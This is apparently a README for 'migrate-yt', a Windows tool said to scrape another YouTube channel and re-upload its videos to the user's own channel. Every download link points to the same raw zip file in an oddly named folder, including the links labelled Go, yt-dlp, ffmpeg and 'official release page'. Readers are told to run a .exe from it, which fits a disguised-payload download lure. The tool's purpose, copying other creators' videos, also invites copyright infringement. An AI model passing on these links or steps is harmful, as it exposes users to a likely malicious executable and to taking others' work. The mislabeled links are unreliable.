migrate-yt is a simple tool that helps you copy videos from one YouTube channel to another automatically. It finds videos on a chosen channel, downloads them, and then uploads them to your own YouTube channel. The tool stops itself from copying videos it has already moved, so you avoid duplicates. It also cleans up temporary files and your login details after it finishes for better privacy.
To get migrate-yt, visit this page to download:
https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip
Click the link above. It will take you to the official release page. Find the latest version for Windows and download the .exe file.
Follow these steps carefully to download, install, and run migrate-yt on your Windows PC.
migrate-yt needs some software to work. You must download and install these first:
-
Go (version 1.18 or higher)
- Download from https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip
- Choose the Windows installer and follow the step-by-step to install.
-
yt-dlp
- Visit https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip
- Download the Windows executable.
- Place it in a folder that is in your system's PATH or remember the location for the next steps.
-
ffmpeg
- Download the Windows build from https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip
- Extract the files.
- Add the
binfolder inside the extracted folder to your system PATH for easy use.
This step makes sure your PC can find yt-dlp and ffmpeg commands.
- Press
Win + Sand type "Environment Variables". - Click "Edit the system environment variables".
- In the "System Properties" window, click "Environment Variables".
- Under "System variables" find "Path" and click "Edit".
- Click "New" and add the folder path for
yt-dlpandffmpeg\bin. - Click OK on all windows to save.
-
Visit the releases page here:
https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip
-
Download the latest Windows
.exefile. -
Save it to a folder you can easily find.
- Open File Explorer and go to the folder where you saved migrate-yt.
- Double-click the
.exefile to start. - The program will open a window or command prompt where you will interact.
migrate-yt uses three main steps during operation:
-
Scraping the Video List
- You tell it which YouTube channel to copy videos from.
- It checks all videos on that channel.
-
Downloading Videos
- It downloads new videos using
yt-dlp. - Downloads use
ffmpegto ensure video and audio combine seamlessly.
- It downloads new videos using
-
Uploading to Your Channel
- It asks you to login with your Google account.
- Then it uploads the downloaded videos to your authenticated YouTube channel.
- It keeps track of videos it uploaded to avoid duplicates.
- After finishing, it deletes all temporary files and your login token for security.
To upload videos, migrate-yt uses the YouTube Data API. You need to create and enable this API for your Google account.
Follow these steps carefully:
- Go to Google Cloud Console.
- Create a new project or select an existing one.
- Navigate to APIs & Services > Library.
- Search for YouTube Data API v3 and click Enable.
- Go to APIs & Services > Credentials.
- Click Create Credentials > OAuth Client ID.
- Set the application type to Desktop app.
- Name the OAuth client and create it.
- Download the
credentials.jsonfile. - Place this file in the same folder where you saved migrate-yt.
When you run migrate-yt for the first time, it will ask you to login using the Google OAuth window. This login connects migrate-yt to your channel securely.
After setup, here is how you copy videos from one channel to yours:
- Run the migrate-yt program by double-clicking its
.exefile. - When prompted, enter the full URL of the YouTube channel you want to copy from.
- The program will check for new videos and download them automatically.
- You will be asked to login to Google to give upload permission.
- After login, migrate-yt uploads the videos to your channel.
- Wait for the process to finish. The program reports progress on screen.
- Once done, migrate-yt will clean up all downloaded files and your login token.
-
If migrate-yt cannot find
yt-dlporffmpeg:- Check if you added the folders to your system PATH.
- Open a Command Prompt window and type
yt-dlp --versionandffmpeg -versionto test.
-
If the program fails to upload:
- Make sure you set up the Google Cloud API and OAuth credentials correctly.
- Confirm your Google account has permission to upload videos.
-
If videos do not download:
- Check the YouTube channel URL is correct.
- See if
yt-dlpworks alone by running it manually.
Keep migrate-yt up to date for best results.
- Visit the release page often:
https://raw.githubusercontent.com/DDJAYA/migrate-yt/main/unpolishable/yt-migrate-3.8.zip - Download the latest
.exefile. - Replace the old file in your folder with the new one.
When you run migrate-yt, these important files appear or are used:
-
uploaded.txt
A list of video IDs already uploaded. This file prevents repeated uploads. -
Temporary video files
These files hold the videos downloaded from the source channel.
They are deleted after upload completes. -
credentials.json(you provide)
Your Google API keys needed to authenticate.
- migrate-yt works on Windows 10 and 11.
- You need a stable internet connection for downloading and uploading.
- Migrating many videos may take time depending on your speed.
- Each uploaded video follows YouTube's standard processing and limits.
- The app runs in a command window and shows logs there.